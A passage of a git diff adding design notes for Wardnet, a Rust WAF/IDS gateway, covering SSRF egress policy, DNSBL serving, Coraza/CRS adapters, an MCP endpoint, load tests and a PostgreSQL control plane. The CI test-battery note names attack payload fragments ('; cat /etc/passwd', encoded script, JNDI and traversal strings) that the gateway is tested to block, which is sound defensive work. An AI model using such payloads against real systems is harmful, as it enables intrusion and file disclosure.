DNS-cache count. It never returns +the proxy password or allow/deny-list contents. + +`POST /api/egress` with `{"url":"https://example.test/"}` requires a +write-capable principal. It applies the exact runtime destination policy and DNS +pinning path used by CONNECT and outbound HTTP, returns `403` without resolution +details when denied, and persistently audits successful evaluations by hostname. +This is an operator preflight and diagnostic; Camoufox must still use Wardnet DNS, +the authenticated CONNECT proxy, and a default-deny workload network policy. + +The machine-readable contract is in `docs/egress-api-openapi.yaml`. diff --git a/docs/doctoring/ci-attack-evidence-battery.md b/docs/doctoring/ci-attack-evidence-battery.md new file mode 100644 index 0000000..4b9eb0e --- /dev/null +++ b/docs/doctoring/ci-attack-evidence-battery.md @@ -0,0 +1,74 @@ +# Doctoring — CI attack-evidence battery (issue #11) + +This note grounds the issue #11 slice: the compiled gateway binary is started +in CI with a hermetic libcoraza engine, a deterministic OWASP CRS attack +battery is fired over real HTTP, and every attempt must be blocked with the +cited CRS rule id and recorded as a security event that keeps the forwarded +client IP unmasked. + +## What is proven (and what is not) + +Proven end to end on the real binary: operator-supplied `CORAZA_LIB_PATH` +admission into the in-process ABI path, rules-file admission, +per-transaction evaluation of method/URI/body, block responses citing +`coraza/crs: rule `, benign traffic still forwarding, and unmasked client +attribution in `/api/events`. + +Not proven: detection *quality* against arbitrary live traffic or an +operator-supplied production `libcoraza` binary itself. The CI engine is the +build-script ABI stub (`src/coraza_abi_stub.rs`), a fixture that mirrors the +libcoraza C ABI, not Coraza itself. Quality evidence and real shared-library +loading evidence stay with an operator deployment using a real libcoraza plus +the OWASP Core Rule Set; this slice only removes "the path was never exercised +in CI" from the gap list. + +## Adopted standards and literature + +OWASP Foundation. (n.d.). *OWASP Core Rule Set documentation*. +https://coreruleset.org/docs/ + +- **Design impact:** Battery entries map to canonical CRS rule families — + 942100 SQLi (libinjection), 941100 XSS (libinjection), 930100 path + traversal, 932100 Unix command injection, 944120 Log4j JNDI. Rule ids in + block reasons and events stay CRS ids so operator dashboards read the same + vocabulary in CI evidence and production. + +Scarfone, K., & Mell, P. (2007). *Guide to intrusion detection and prevention +systems (IDPS)* (NIST Special Publication 800-94). National Institute of +Standards and Technology. https://doi.org/NIST.SP.800-94 + +- **Design impact:** IDPS evaluation distinguishes the detection *path* from + detection *efficacy*. SP 800-94's testing guidance motivates keeping the two + claims separate: CI asserts the prevention path (signature → interrupt → + block → record), while efficacy against evasive payloads requires curated + corpora and is explicitly out of scope for this fixture. + +Saltzer, J. H., & Schroeder, M. D. (1975). The protection of information in +computer systems. *Proceedings of the IEEE*, *63*(9), 1278–1308. +https://doi.org/10.1109/PROC.1975.9939 + +- **Design impact:** Complete mediation and fail-safe defaults. The battery + runs through the same route pipeline (`mode: block`) as production traffic, + so no test-only bypass exists; an engine that fails to load refuses startup + before bind instead of degrading silently. + +MITRE. (n.d.). *CWE-20: Improper input validation*. MITRE Corporation. +https://cwe.mitre.org/data/definitions/20.html + +- **Design impact:** The battery covers encoded variants (`%3Cscript`, + `%24%7BJNDI`, `..%2F`) because input-validation defects classically live at + decoding boundaries; the gateway evaluates the raw request line exactly as + received, so fixtures pin that behavior rather than a decoded copy. + +## Verification posture + +- `tests/binary.rs::live_gateway_detects_owasp_attack_battery_end_to_end` + spawns the binary, creates the block route over the admin API, fires nine + battery cases (GET query attacks across five rule families plus a POST-body + XSS), asserts HTTP 403 + `engine=coraza` + cited rule id per case, asserts a + benign request forwards, and asserts `/api/events` records one event per + attempt with `X-Forwarded-For` preserved verbatim. +- `src/coraza_inprocess.rs::stub_engine_battery_matches_each_owasp_family` + pins the fixture contract itself, including first-match ordering so the + overlapping `; cat /etc/passwd` payload attributes to RCE (932100), not + traversal. diff --git a/docs/doctoring/dnsbl-authoritative-serving.md b/docs/doctoring/dnsbl-authoritative-serving.md new file mode 100644 index 0000000..412632a --- /dev/null +++ b/docs/doctoring/dnsbl-authoritative-serving.md @@ -0,0 +1,104 @@ +# Authoritative DNSBL serving + +## Decision + +Wardnet's existing bounded UDP/TCP DNS listener answers IPv4 and IPv6 DNSBL queries +inside `DNSBL_ORIGIN` before entering recursive egress resolution. A query name +uses RFC 5782 reversed-octet form for IPv4, for example +`99.2.0.192.dnsbl.example`, or RFC 3596's 32 reversed hexadecimal nibbles for +IPv6. Listed addresses receive authoritative A and TXT +records; unlisted, malformed, and zone-apex names receive authoritative +`NXDOMAIN` with an RFC 2308 SOA for negative caching and are never forwarded +upstream. Listed names queried for unsupported types return the same SOA with +empty `NOERROR` (NODATA). + +The implementation reuses the live `AppState` DNSBL entries, +`waf_ids_core::dnsbl_matches`, persisted-entry validation, per-entry TTLs, and +the existing 64-request UDP/TCP concurrency bounds. It adds no daemon or +dependency. CIDR entries are evaluated at query time, so every address in a +listed range receives the required record without materializing an entire zone. + +```mermaid +sequenceDiagram + participant C as DNSBL client + participant D as Wardnet DNS listener + participant S as Validated DNSBL state + participant R as Egress resolver + C->>D: A or TXT 99.2.0.192.dnsbl.example + D->>D: Match exact DNSBL origin and decode IPv4 octets or IPv6 nibbles + D->>S: Validate entries and match address/CIDR + alt listed + S-->>D: code, reason, source, TTL + D-->>C: AA=1, A 127/8 or bounded TXT + else unlisted or malformed + D-->>C: AA=1, NXDOMAIN plus SOA + else outside DNSBL origin + D->>R: Existing destination-policy resolution + end +``` + +## Security and operability + +- The origin comparison is label-boundary exact; suffix lookalikes do not enter + the authoritative path. +- Persisted rows are revalidated before publication. Invalid response codes, + empty provenance, invalid prefixes, and zero TTLs cannot become DNS answers. +- TXT character strings are bounded to DNS's 255-octet wire limit on a UTF-8 + boundary. +- DNSBL answers set the authoritative bit and do not advertise recursion. +- Unsupported types for a listed name return authoritative empty `NOERROR`; + both NODATA and NXDOMAIN include the zone SOA for bounded negative caching. + Non-DNSBL names retain the existing A/AAAA resolver contract. +- IPv6 names require exactly 32 single hexadecimal labels. Compressed or + malformed representations fail authoritatively instead of entering recursive + resolution. + +## Verification + +`src/egress_dns.rs` tests cover A/TXT content, CIDR membership, TTL propagation, +IPv4 octet and IPv6 nibble decoding, authoritative `NXDOMAIN`/NODATA SOA +records, malformed names, and real loopback +UDP/TCP exchanges through the production server loop. Repository readiness still requires +protected-branch checks and deployed port-53 evidence. + +## References + +Levine, J. (2010). *DNS blacklists and whitelists* (RFC 5782). Internet +Research Task Force. https://doi.org/10.17487/RFC5782 + +- Design impact: reversed-octet IPv4 query names, 127/8 A responses, and TXT + evidence are kept exactly in the DNSBL contract instead of inventing a + Wardnet-only lookup format. + +Thomson, S., Huitema, C., Ksinant, V., & Souissi, M. (2003). *DNS extensions +to support IP version 6* (RFC 3596). Internet Engineering Task Force. +https://doi.org/10.17487/RFC3596 + +- Design impact: IPv6 list lookups use 32 reversed hexadecimal nibbles and are + answered authoritatively without a recursive fallback, which preserves the + DNSBL trust boundary for IPv6 the same way RFC 5782 does for IPv4. + +Vixie, P., Andrews, M., Lindqvist, M., & Wassenaar, E. (1998). *Negative +caching of DNS queries (DNS NCACHE)* (RFC 2308). Internet Engineering Task +Force. https://doi.org/10.17487/RFC2308 + +- Design impact: authoritative `NXDOMAIN` and NODATA responses include the SOA + so clients can cache negative answers for a bounded interval instead of + hammering the listener on every miss. + +West, A. G., Kapoor, A., Lee, J., Niu, K., & Weiss, M. (2010). *Spam +mitigation using spatio-temporal reputations from blacklists*. ACM Conference +on Email and Anti-Spam. https://dl.acm.org/doi/10.1145/1920261.1920287 + +- Design impact: DNSBL publication stays authoritative and low-latency because + blacklist usefulness depends on fast reputation lookups at decision time; the + implementation therefore answers from validated in-memory state instead of + inserting recursive resolution or secondary database joins into the query + path. + +Magnusson, J. (2024). *Survey and analysis of DNS filtering components*. +arXiv. https://arxiv.org/abs/2401.03864 + +- Design impact: the DNSBL listener is kept as a narrowly scoped filtering + authority, separated from recursive egress resolution, because the filtering + and resolver roles have different trust boundaries and failure modes. diff --git a/docs/doctoring/fail-closed-destination-policy.md b/docs/doctoring/fail-closed-destination-policy.md new file mode 100644 index 0000000..465200a --- /dev/null +++ b/docs/doctoring/fail-closed-destination-policy.md @@ -0,0 +1,64 @@ +# Doctoring — fail-closed destination policy + +This note grounds issue #79 (every outbound `http`/`https` call is mediated by +one destination-policy component). IEEE PDFs are not redistributed. + +## Adopted standards and literature + +OWASP Foundation. (n.d.). *Server-Side Request Forgery Prevention Cheat Sheet*. +https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html + +- **Design impact:** Parse URLs structurally, disable redirects, ignore ambient + proxy variables, and deny internal address classes unless an operator + allowlist names them. Deny-overrides in the credential-registry + `destination_denylist` key win. + +OWASP Foundation. (2025). *OWASP Application Security Verification Standard +5.0.0*. https://owasp.org/www-project-application-security-verification-standard/ + +- **Design impact:** ASVS V13 SSRF and V4 access control — administrative + route upserts validate structure without requiring live DNS; request-time + proxying and startup sidecar preflight call the same checker. + +Saltzer, J. H., & Schroeder, M. D. (1975). The protection of information in +computer systems. *Proceedings of the IEEE*, *63*(9), 1278–1308. +https://doi.org/10.1109/PROC.1975.9939 + +- **Design impact:** Fail-safe defaults. A mixed public+private DNS answer set + is deny, not allow. Unresolvable hosts are deny. + +Jackson, C., Barth, A., Bortz, A., Truelove, W., & Boneh, D. (2007). Protecting +browsers from DNS rebinding attacks. *Proceedings of the 14th ACM Conference on +Computer and Communications Security*, 421–431. +https://doi.org/10.1145/1315245.1315298 + +- **Design impact:** CIDR allowlist exceptions apply per resolved address so a + private-range answer cannot exempt a sibling metadata or link-local record. + Blocking OS DNS is offloaded from Tokio workers with a two-second timeout. + After evaluation succeeds, the HTTP client connects only to those addresses + (original Host/SNI preserved) so a rebinding answer cannot reach a denied + class. The ACM paper is not redistributed. + +National Institute of Standards and Technology. (2022). *Secure Software +Development Framework (SSDF) version 1.1* (NIST SP 800-218). +https://doi.org/10.6028/NIST.SP.800-218 + +- **Design impact:** PW.1 — well-secured software. Kubernetes NetworkPolicy + remains defense in depth; application checks are mandatory. + +## Operator next action + +If a legitimate internal origin is denied, add it to the credential-registry +`destination_allowlist` key (`host`, `*.suffix`, or `CIDR`) and restart. The +`DESTINATION_ALLOWLIST` environment variable is bootstrap transport only. A +CIDR entry authorizes an internal address and non-default ports only when every +resolved answer matches an allowlisted CIDR. Hostname entries never exempt a +denied address class. To block a previously allowed name, use the +`destination_denylist` registry key. Loopback development still permits +loopback-class destinations so local fixtures work; production non-loopback +listeners use the strict class list. `/healthz.destination_mode` reports +`production` or `development`. CIDR prefixes outside `/32` (IPv4) or `/128` +(IPv6) fail startup. Deprecated IPv6 site-local (`fec0::/10`) is a denied +class. Hostnames that merely contain `0x` (for example `0x0.st`) are not +treated as hex IP literals. Outbound HTTP does not re-query OS DNS: it +connects to the evaluated addresses only. diff --git a/docs/doctoring/gateway-k6-load.md b/docs/doctoring/gateway-k6-load.md new file mode 100644 index 0000000..6c21bf4 --- /dev/null +++ b/docs/doctoring/gateway-k6-load.md @@ -0,0 +1,97 @@ +# Gateway k6 load evidence + +## Contract + +`scripts/k6-gateway.sh` starts the real Rust server on an isolated loopback +port and runs `tests/load/gateway.js` against the seeded monitored ingress +route. The check fails on any HTTP error or response that did not traverse the +expected route. k6 reports request rate and latency percentiles without turning +an unapproved latency target into a release claim. + +The default closed-model scenario holds 32 concurrent virtual users for 30 +seconds. Operators can set `K6_VUS` and `K6_DURATION` to reproduce a +deployment-specific concurrency profile. This does not establish saturation +capacity: that requires an arrival-rate profile and an agreed latency objective +against the deployed data plane. + +```mermaid +sequenceDiagram + participant K as k6 virtual users + participant G as Wardnet gateway + participant W as WAF decision path + participant M as Seeded mock upstream + K->>G: GET /gateway/demo/load + G->>W: route, rate-limit, and score + W-->>G: monitored + G->>M: select mock route + M-->>K: 200 monitored +``` + +## Run + +```bash +scripts/k6-gateway.sh +K6_VUS=64 K6_DURATION=60s scripts/k6-gateway.sh +K6_CLOSE_CONNECTIONS=true scripts/k6-gateway.sh +``` + +The default reuses HTTP connections, matching HTTP/1.1's usual behavior. +`K6_CLOSE_CONNECTIONS=true` opens a new connection for every request so accept +and connection teardown costs can be measured separately. The harness uses +in-memory state and a seeded mock upstream, so it measures the asynchronous +gateway decision path rather than proxy I/O or local state-file durability. +PostgreSQL and real-upstream profiles remain separate deployment acceptance +tests. + +## Local evidence — 2026-08-27T03:42+09:00 + +On the local macOS 26.5.1 arm64 development host, k6 2.2.0 produced the +following 15-second comparison against the same exact binary and monitored +mock route: + +| State | Users | Requests/s | p95 | Failed requests | +| --- | ---: | ---: | ---: | ---: | +| Before removing no-op in-memory state clones | 32 | 607.12 | 154.06 ms | 0 / 9,156 | +| Before removing no-op in-memory state clones | 64 | 378.73 | 432.36 ms | 0 / 5,810 | +| After removing no-op in-memory state clones | 32 | 3,902.28 | 19.00 ms | 0 / 58,576 | +| After removing no-op in-memory state clones | 64 | 2,925.91 | 77.28 ms | 0 / 43,934 | + +The bottleneck was full `AppData` rollback and persistence-snapshot cloning on +every request even when neither a state file nor PostgreSQL existed. Wardnet +now skips that impossible rollback work only in memory mode. Durable adapters +retain serialization, snapshots, and rollback. The remaining throughput drop +between 32 and 64 users should be profiled against the deployed persistence and +upstream path before setting a service-level objective. + +Dean and Barroso (2013) show why the scenario records p95 under concurrent +load: as utilization and system scale increase, uncommon slow responses can +dominate end-to-end service latency. That evidence supports measuring the tail; +it does not establish a Wardnet latency target, which remains deployment-specific. + +Aron et al. (1999) ground the closed-model request distribution choice here: +the benchmark keeps concurrency fixed while the gateway makes route-selection +and admission decisions, which is useful for isolating how the current service +degrades as active clients rise even though it is not, by itself, a saturation +or capacity-planning claim. + +## References + +Dean, J., & Barroso, L. A. (2013). The tail at scale. *Communications of the +ACM, 56*(2), 74–80. https://doi.org/10.1145/2408776.2408794 + +- Design impact: Wardnet records tail latency under concurrent load instead of + only mean throughput because slow outliers dominate operator-visible service + quality long before aggregate request rate looks unhealthy. + +Aron, M., Sanders, D., Druschel, P., & Zwaenepoel, W. (1999). *Scalable +content-aware request distribution in cluster-based network servers*. USENIX +Annual Technical Conference. +https://www.usenix.org/legacy/event/usenix99/full_papers/aron/aron.pdf + +- Design impact: the default harness uses a closed model with a fixed number of + active clients because that exposes how the current gateway decision path + behaves as concurrency rises, without overstating the result as full + saturation or admission-capacity evidence. + +Grafana Labs. (n.d.). *Grafana k6 documentation*. Retrieved August 27, 2026, +from https://grafana.com/docs/k6/latest/ diff --git a/docs/doctoring/in-path-coraza-adapter.md b/docs/doctoring/in-path-coraza-adapter.md new file mode 100644 index 0000000..ada38b8 --- /dev/null +++ b/docs/doctoring/in-path-coraza-adapter.md @@ -0,0 +1,76 @@ +# Doctoring — in-path Coraza sidecar adapter + +This note grounds the issue #86 slice shipped this loop: live `/gateway` +transactions are evaluated by a proven WAF engine through a sidecar adapter. +IEEE PDFs are not redistributed. + +## Adopted standards and literature + +OWASP Foundation. (n.d.). *OWASP Core Rule Set documentation*. +https://coreruleset.org/docs/ + +- **Design impact:** CRS remains the detection authority. Wardnet POSTs the + live method/URI/body to `CORAZA_WAF_URL` and parses the sidecar body with the + existing Coraza audit adapter. Builtin signatures are a residual scorer, not + a replacement for CRS. + +Coraza. (n.d.). *Coraza Web Application Firewall*. +https://coraza.io/docs/ + +- **Design impact:** The sidecar contract is Coraza audit JSON (interrupted + transaction + `messages[]`). A 403 or 406 without audit JSON is still treated as an + interruption. Transport failures do not leak the sidecar URL into SOC + events. Review-hardening this pass: the evaluate request now carries a + bounded allowlist of client headers (`host`, `user-agent`, `accept`, + `content-type`, `referer`, `origin`, `x-requested-with`, `x-forwarded-for`, + `x-real-ip` — never bearer credentials such as `Authorization` or `Cookie`, + capped at 32 headers / 8 KiB); responses are streamed with a 1 MiB cap; any + empty or malformed 2xx bodies and every non-success status other than 403 or 406 + are `Unavailable`. Live blocking requires + the engine's explicit interruption signal; non-interrupting CRS messages + remain `engine_hit` evidence. Fail-open outages are recorded. + +Scarfone, K., & Mell, P. (2007). *Guide to intrusion detection and prevention +systems (IDPS)* (NIST Special Publication 800-94). National Institute of +Standards and Technology. https://doi.org/NIST.SP.800-94 +(Redistributable public-domain PDF: +`docs/papers/nist-sp-800-94-idps-scarfone-mell-2007.pdf`.) + +- **Design impact:** IDPS guidance separates detection-path evidence from + efficacy claims and motivates bounding sensor inputs/outputs: header + allowlisting, response-size caps, and explicit status handling follow its + prevention-system hygiene (in-band sensor must fail predictably). + +Saltzer, J. H., & Schroeder, M. D. (1975). The protection of information in +computer systems. *Proceedings of the IEEE*, *63*(9), 1278–1308. +https://doi.org/10.1109/PROC.1975.9939 + +- **Design impact:** Fail-safe defaults. `PROVEN_ENGINE_FAIL_CLOSED` is opt-in + (`true`/`1`/`yes`/`on`). Production deployments with `CORAZA_WAF_URL` must + set it so an unreachable engine does not silently allow traffic. Fail-open + degradations now record `engine_unavailable` events so operators can alert + on silent protection loss. + +Wardnet validates `CORAZA_WAF_URL` before binding. A loopback, private, or +ClusterIP sidecar must be covered by a narrow `destination_allowlist` CIDR in +the credential registry; a hostname-only entry cannot exempt private DNS +answers. Invalid or unavailable sidecar policy now fails startup instead of +silently degrading the first live transaction. + +National Institute of Standards and Technology. (2022). *Secure Software +Development Framework (SSDF) version 1.1* (NIST SP 800-218). +https://doi.org/10.6028/NIST.SP.800-218 + +- **Design impact:** PW.1 / PW.4 — well-secured software and reuse of existing, + well-secured components. The in-process `coraza` crate needs Go+C at build + time; a sidecar adapter keeps CI hermetic while still placing CRS in the + enforcement path. + +## Operator next action + +Prefer in-process libcoraza: set `CORAZA_LIB_PATH` to the shared library and +`CORAZA_RULES_PATH` (or `CORAZA_DIRECTIVES`) to a pinned OWASP CRS bundle. Point +`CORAZA_WAF_URL` at a Coraza evaluate endpoint only when the process cannot +load the library. Set `PROVEN_ENGINE_FAIL_CLOSED=true` in production. Confirm +`GET /api/waf/engine-status` reports `in_path=true` (`coraza_in_process` or +`coraza_sidecar`) before exposing `/gateway`. diff --git a/docs/doctoring/in-process-libcoraza.md b/docs/doctoring/in-process-libcoraza.md new file mode 100644 index 0000000..3b2de0a --- /dev/null +++ b/docs/doctoring/in-process-libcoraza.md @@ -0,0 +1,49 @@ +# Doctoring — in-process libcoraza adapter + +This note grounds the issue #86 remainder shipped this loop: live `/gateway` +transactions are evaluated by libcoraza inside the Wardnet process. IEEE PDFs +are not redistributed. + +## Adopted standards and literature + +Coraza. (n.d.). *Coraza Web Application Firewall*. +https://coraza.io/docs/ + +- **Design impact:** CRS remains the detection authority. Wardnet `dlopen`s + operator-supplied libcoraza (`CORAZA_LIB_PATH`) and drives the documented C + ABI (`coraza_new_waf_config`, `coraza_rules_add_file` / `coraza_rules_add`, + `coraza_process_uri` / headers / body, `coraza_intervention`). Builtin + signatures stay a residual scorer. + +OWASP Foundation. (n.d.). *OWASP Core Rule Set documentation*. +https://coreruleset.org/docs/ + +- **Design impact:** Rules come from `CORAZA_RULES_PATH` and optional + `CORAZA_DIRECTIVES`. An empty or missing ruleset fails startup before bind so + production cannot silently skip CRS. + +Saltzer, J. H., & Schroeder, M. D. (1975). The protection of information in +computer systems. *Proceedings of the IEEE*, *63*(9), 1278–1308. +https://doi.org/10.1109/PROC.1975.9939 + +- **Design impact:** Fail-safe defaults. `PROVEN_ENGINE_FAIL_CLOSED` remains + opt-in per transaction; a configured library that cannot load is always + fail-closed at process start. Unset `CORAZA_LIB_PATH` keeps the sidecar path + (`CORAZA_WAF_URL`) from the previous slice. + +National Institute of Standards and Technology. (2022). *Secure Software +Development Framework (SSDF) version 1.1* (NIST SP 800-218). +https://doi.org/10.6028/NIST.SP.800-218 + +- **Design impact:** PW.1 / PW.4 — reuse a well-secured component. Building + libcoraza still needs Go+C; CI stays hermetic by compiling a fixture cdylib + that exports the same symbols. Production points `CORAZA_LIB_PATH` at a real + libcoraza build. + +## Operator next action + +Install libcoraza and a pinned OWASP CRS bundle. Set `CORAZA_LIB_PATH` and +`CORAZA_RULES_PATH`. Set `PROVEN_ENGINE_FAIL_CLOSED=true`. Confirm +`GET /api/waf/engine-status` reports `mode=coraza_in_process`, +`in_path=true`, and a non-zero `in_process_rules` before exposing `/gateway`. +The library path is not published on health or engine-status surfaces. diff --git a/docs/doctoring/mcp-streamable-http.md b/docs/doctoring/mcp-streamable-http.md new file mode 100644 index 0000000..0076445 --- /dev/null +++ b/docs/doctoring/mcp-streamable-http.md @@ -0,0 +1,107 @@ +# Stateless MCP operations surface + +Decision date: 2026-08-27 + +## Decision and product contract + +Wardnet exposes one authenticated `POST /mcp` endpoint using the stable Model +Context Protocol revision `2026-07-28`. It is stateless: clients may call +`server/discover`, `tools/list`, `tools/call`, or `ping` on any instance without +an initialization handshake, sticky session, or shared MCP session store. + +The first tool is `wardnet_status`. It reuses the existing support-bundle read +model to return live gateway health, SOC KPIs, readiness, threat-feed freshness, +and inventory counts as both `structuredContent` and backward-compatible text. +It is read-only, idempotent, non-destructive, and closed-world. Mutation tools +are deliberately absent until Keyverse identity, tenant authorization, consent, +and human approval evidence close issue #82. + +## Transport, security, and operability + +```mermaid +sequenceDiagram + participant C as MCP client + participant W as Wardnet /mcp + participant S as AppState read model + C->>W: POST + version/method/name headers + JSON-RPC + W->>W: authenticate, reject browser Origin, validate header/body agreement + W->>S: build existing support bundle + S-->>W: health, KPIs, readiness, counts + W-->>C: complete structured and text result +``` + +- `X-Admin-Token` uses Wardnet's existing credential-registry-backed operator + boundary; read-only RBAC tokens may call the read-only tool. +- Every browser request carrying `Origin` fails with 403. Browser MCP is not in + this slice; rejecting it avoids trusting an attacker-controlled `Host` during + DNS rebinding. Native/agent clients do not send `Origin`. +- `Accept` must advertise both `application/json` and `text/event-stream`. +- `MCP-Protocol-Version`, `Mcp-Method`, and, for `tools/call`, `Mcp-Name` must + match the JSON-RPC body. Invalid or unsupported protocol metadata fails with + HTTP 400 before tool execution. +- `tools/list` and `server/discover` use a five-minute private cache hint. The + catalog is deterministic and tenant credentials must never share cached data. +- Axum supplies 405 for unsupported GET/DELETE methods. No SSE stream, task, + resource, prompt, sampling, roots, logging, or mutating tool exists in this + slice; add one only when an operator workflow and acceptance evidence require + it. + +Protected delivery requires exact-head Rust, security, review-thread, and +independent-approval gates. Local tests or a stacked PR do not prove that the +endpoint is available on protected `main`. Runtime acceptance additionally +requires an authenticated client to perform discovery, list the tool, call it, +and compare the structured result with `/api/support-bundle` on the same +deployment. `tests/load/mcp.js` is narrower than that full acceptance slice: +it exercises authenticated `tools/call` only and passes when HTTP succeeds and +the returned `structuredContent.health.status` is `ok`. Discovery, tool-list, +and support-bundle equivalence remain separate runtime checks rather than claims +made by the k6 harness itself. + +Local runtime evidence on 2026-08-27 used the real debug binary on +`127.0.0.1:3017` with 10 concurrent k6 virtual users for 10 seconds. All 4,992 +authenticated `wardnet_status` calls passed (0 HTTP failures, 495.9 requests/s, +19.55 ms mean, 107.79 ms p95, 449.23 ms maximum). This is focused loopback +capacity evidence, not a production SLO or protected-main deployment proof. + +## APA 7th references + +Model Context Protocol Core Maintainers. (2026, July 28). *The 2026-07-28 +specification*. https://blog.modelcontextprotocol.io/posts/2026-07-28/ + +Model Context Protocol. (2026). *Model Context Protocol specification: +2026-07-28*. Retrieved August 27, 2026, from +https://modelcontextprotocol.io/specification/2026-07-28 + +- Design impact: the endpoint stays stateless and read-only because MCP does + not require a sticky session for discovery or tool execution in this slice, + and Wardnet has not yet closed the authorization evidence required for + mutating tools. + +Model Context Protocol. (2026). *Transports*. Retrieved August 27, 2026, from +https://modelcontextprotocol.io/specification/2026-07-28/basic/transports + +- Design impact: the handler validates transport metadata against the JSON-RPC + body and advertises both JSON and event-stream support so clients can use the + standard transport contract without relying on deployment-specific behavior. + +Fielding, R., Nottingham, M., & Reschke, J. (2022). *HTTP semantics* (RFC +9110). Internet Engineering Task Force. https://doi.org/10.17487/RFC9110 + +- Design impact: Wardnet exposes MCP over ordinary HTTP semantics, keeps the + surface stateless, and uses explicit method and content negotiation checks + rather than inventing a private session protocol. + +Fielding, R., Nottingham, M., & Reschke, J. (2022). *HTTP caching* (RFC 9111). +Internet Engineering Task Force. https://www.rfc-editor.org/rfc/rfc9111 + +- Design impact: only deterministic discovery surfaces receive short private + cache hints, while authenticated tool results remain isolated from shared + caches. + +Jackson, C., Bortz, A., Boneh, D., & Mitchell, J. C. (2009). *Protecting +browsers from DNS rebinding attacks*. ACM Transactions on the Web, 3(1), 1-26. +https://dl.acm.org/doi/10.1145/1462148.1462150 + +- Design impact: browser requests carrying `Origin` are rejected up front so + Wardnet does not trust attacker-controlled browser contexts on an endpoint + that can expose internal inventory and control-plane evidence. diff --git a/docs/doctoring/outbox-workers.md b/docs/doctoring/outbox-workers.md new file mode 100644 index 0000000..3f3c7d2 --- /dev/null +++ b/docs/doctoring/outbox-workers.md @@ -0,0 +1,58 @@ +# Doctoring — transactional outbox and leased workers + +This note grounds issue #81 (external effects leave the PostgreSQL control plane +through a transactional outbox, not request-path retry loops). IEEE/ACM PDFs +are not redistributed. + +## Adopted standards and literature + +PostgreSQL Global Development Group. (2026). *PostgreSQL documentation: Explicit +locking*. https://www.postgresql.org/docs/current/explicit-locking.html + +- **Design impact:** Workers claim `outbox_message` rows with + `FOR UPDATE SKIP LOCKED`. Expired leases are reclaimable. Unrelated tenants + and aggregates are not globally serialized. + +PostgreSQL Global Development Group. (2026). *PostgreSQL documentation: +Transaction isolation*. https://www.postgresql.org/docs/current/transaction-iso.html + +- **Design impact:** The security event (or policy snapshot) and its outbox row + commit in one transaction. A crash after domain commit but before dispatch + leaves a pending message; it cannot invent extra authority. + +Hohpe, G., & Woolf, B. (2003). *Enterprise integration patterns: Designing, +building, and deploying messaging solutions*. Addison-Wesley. + +- **Design impact:** Transactional outbox. Downstream stdout SIEM export is + **at-least-once**. The `outbox_receipt` unique `(tenant_id, idempotency_key)` + is the exactly-once business acknowledgement. Do not call transport delivery + exactly once. + +National Institute of Standards and Technology. (2022). *Secure Software +Development Framework (SSDF) version 1.1* (NIST SP 800-218). +https://doi.org/10.6028/NIST.SP.800-218 + +- **Design impact:** PW.1 / PW.7 — durable retry, dead-letter, and authorized + replay with audit. Replay is a write (`X-Admin-Token`). + +## Operator next action + +Production binds already require `CONTROL_PLANE_DATABASE_URL`. On that path: + +- `GET /healthz` reports `outbox=ready` plus pending/leased/dead-letter counts +- `GET /api/outbox` (admin read) lists at most `EVENT_LIMIT` messages + (dead letters, then pending, then leased, then processed) +- `POST /api/outbox/{message_id}/replay` (admin write) requeues dead letters + +Processed `outbox_message` rows are pruned to the operator `EVENT_LIMIT` on +append, snapshot save, and worker ack. `outbox_receipt` rows stay; they are +the exactly-once ack. Dead letters are never pruned. + +Loopback file/memory adapters keep in-process stdout SIEM and report +`outbox=disabled`. `security_event` HASH partitioning is on the PostgreSQL +plane. TAXII poll, Clearfolio submit, and contextual-orchestrator analysis +use the same message/receipt contract on PostgreSQL (`GET /api/outbox/{id}` +for receipt evidence). HTTP dispatch releases the database lock for the +outbound call. Inline TAXII secrets are rejected on the durable path; +`taxii_bearer` is a credential-registry secret. Backup/restore drill is on +the PostgreSQL plane. diff --git a/docs/doctoring/postgres-control-plane.md b/docs/doctoring/postgres-control-plane.md new file mode 100644 index 0000000..addfc99 --- /dev/null +++ b/docs/doctoring/postgres-control-plane.md @@ -0,0 +1,101 @@ +# Doctoring — PostgreSQL control plane + +This note grounds issue #80 (PostgreSQL is the production authority; the JSON +file adapter remains loopback/community only). IEEE/ACM PDFs are not +redistributed. + +## Adopted standards and literature + +PostgreSQL Global Development Group. (2026). *PostgreSQL 18 documentation: Row +security policies*. https://www.postgresql.org/docs/18/ddl-rowsecurity.html + +- **Design impact:** Every tenant table uses `ENABLE` + `FORCE ROW LEVEL + SECURITY` and a default-deny policy keyed on `wardnet.tenant_id`. Missing + tenant context yields no rows. + +PostgreSQL Global Development Group. (2026). *PostgreSQL documentation: +Constraints*. https://www.postgresql.org/docs/current/ddl-constraints.html + +- **Design impact:** Primary keys include `tenant_id`. Foreign keys point at + `tenant_account`. Two-word snake_case names. + +PostgreSQL Global Development Group. (2026). *PostgreSQL documentation: +Transaction isolation*. https://www.postgresql.org/docs/current/transaction-iso.html + +- **Design impact:** Snapshot replace (routes, indicators, DNSBL, events, audit) + commits in one transaction so a policy mutation cannot land without its audit + records. + +The current control plane intentionally owns one mutex-protected PostgreSQL +connection, so handlers, health checks, and the outbox worker serialize database +work. This is a bounded correctness-first ceiling, not a pool; adopt a role-aware +pool when measured queue latency requires concurrent database operations. + +PostgreSQL Global Development Group. (2026). *PostgreSQL documentation: Table +partitioning*. https://www.postgresql.org/docs/current/ddl-partitioning.html + +- **Design impact:** `security_event` is `PARTITION BY HASH (tenant_id)` with + eight children so tenant-scoped SOC queries prune and high-volume appends do + not share one btree. The partition key is part of the primary key. Logical + backups stay a tenant snapshot; HASH is an on-disk layout, not a restore + schema bump that voids prior artifacts. + +National Institute of Standards and Technology. (2022). *Secure Software +Development Framework (SSDF) version 1.1* (NIST SP 800-218). +https://doi.org/10.6028/NIST.SP.800-218 + +- **Design impact:** PW.1 — fail closed when a production bind has no + control-plane URL, when the URL is not `postgres://`, or when + `sslmode=allow` / `prefer` could silently drop to plaintext. `require` / + `verify-full` use rustls with Mozilla roots; certificates are always + verified. + +## Operator next action + +Set `CONTROL_PLANE_DATABASE_URL` (or credentials-file key `control_plane_url`) +before binding a non-loopback address. Use `sslmode=require` or +`sslmode=verify-full` for rustls. `/healthz.persistence` reports `postgres`. +Loopback still uses `WAF_IDS_STATE_PATH` or in-memory state. + +After migrations, the session `SET ROLE`s to `wardnet_runtime` (NOSUPERUSER, +NOBYPASSRLS, not table owner) so FORCE RLS binds. Provision that role and +`GRANT` it to the login user if the URL user cannot `CREATE ROLE`. Missing +`wardnet.tenant_id` yields 